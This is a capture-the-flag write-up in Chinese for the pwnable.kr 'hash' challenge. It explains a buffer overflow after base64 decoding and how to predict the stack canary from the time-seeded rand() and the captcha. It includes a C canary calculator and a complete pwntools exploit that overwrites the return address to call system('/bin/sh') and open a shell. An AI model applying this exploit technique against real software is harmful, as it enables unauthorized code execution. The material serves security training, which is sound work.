pwnable.kr writeup hash

来源:互联网 发布:快手上的淘宝优惠群 编辑:程序博客网 时间:2024/05/18 18:16

这道题还是学到了很多的,又一种绕过canary 的姿势
这里写图片描述
溢出点还是很明显的,v3只分配了512个字节的空间,但是输入在解码后有1024/4*3=768个字节,看了下保护机制。
这里写图片描述
可以覆盖canary,一开始猜测是ssp leak,后面发现canarty直接可计算出来这里写图片描述
直接用C语言写个脚本算出canary

#include <stdio.h>#include <stdlib.h>int main(int argc, char* argv[]){    int time = atoi(argv[1]);    int captcha = atoi(argv[2]);    int cancary = 0;    int nums[8];    int i;     srand(time);    for(i=0;i<=7;i++)    {        nums[i] = rand();    }    cancary = captcha - nums[1] - nums[5] - nums[2] + nums[3] - nums[7] - nums[4] + nums[6] ;    printf("%x",cancary);}

因为hash的栈结构是这样的

+---------+|  0x200  |   <-  v3+---------+|   0xc   |   <-  v4+---------+

我们构造payload为

padding + canary + padding + system的地址 + /bin/sh的地址 + 返回地址

因为在gets 的时候正好在bbs中那就能直接把/bin/sh写入然后计算出他的地址

(512+4+12+4+4+4) = 720

最后的exp

from pwn import *import base64import re,oscontext(log_level = "debug")import timeimport randomimport subprocess#p=remote("pwnable.kr",9002)p=process("./hash")p.recvuntil(" : ")captcha = p.recvline().strip()p.sendline(captcha)t = int(time.time())canary = '0x' + os.popen('./hashc {} {}'.format(str(t), captcha)).read()print canarycanary = int(canary, 16)system_plt = 0x08049187bbs_addr = 0x0804B0E0payload = 'A' * 512 + p32(canary) + 'A' * 12 + p32(system_plt)  + p32(0x0804B0E0 + 540*4/3) + p32(0)p.send(b64e(payload)+'/bin/sh\0')p.interactive()

p.s. 在看其他的大佬的writeup时发现,他们都遇到一个问题,那就是服务器时间与本地时间不相同导致计算的canary不正确,本地能getshell,但是远程无法getshell的问题,但是不知道为啥我直接就能过了,我觉得这是玄学,当然解决的办法其实就是题目的提示,去获取pwnable.kr网页的headers里面有时间详细可以看这位大佬的wp。
http://rickgray.me/2015/07/25/rookiss-writeup-pwnable-kr.html

0 0
原创粉丝点击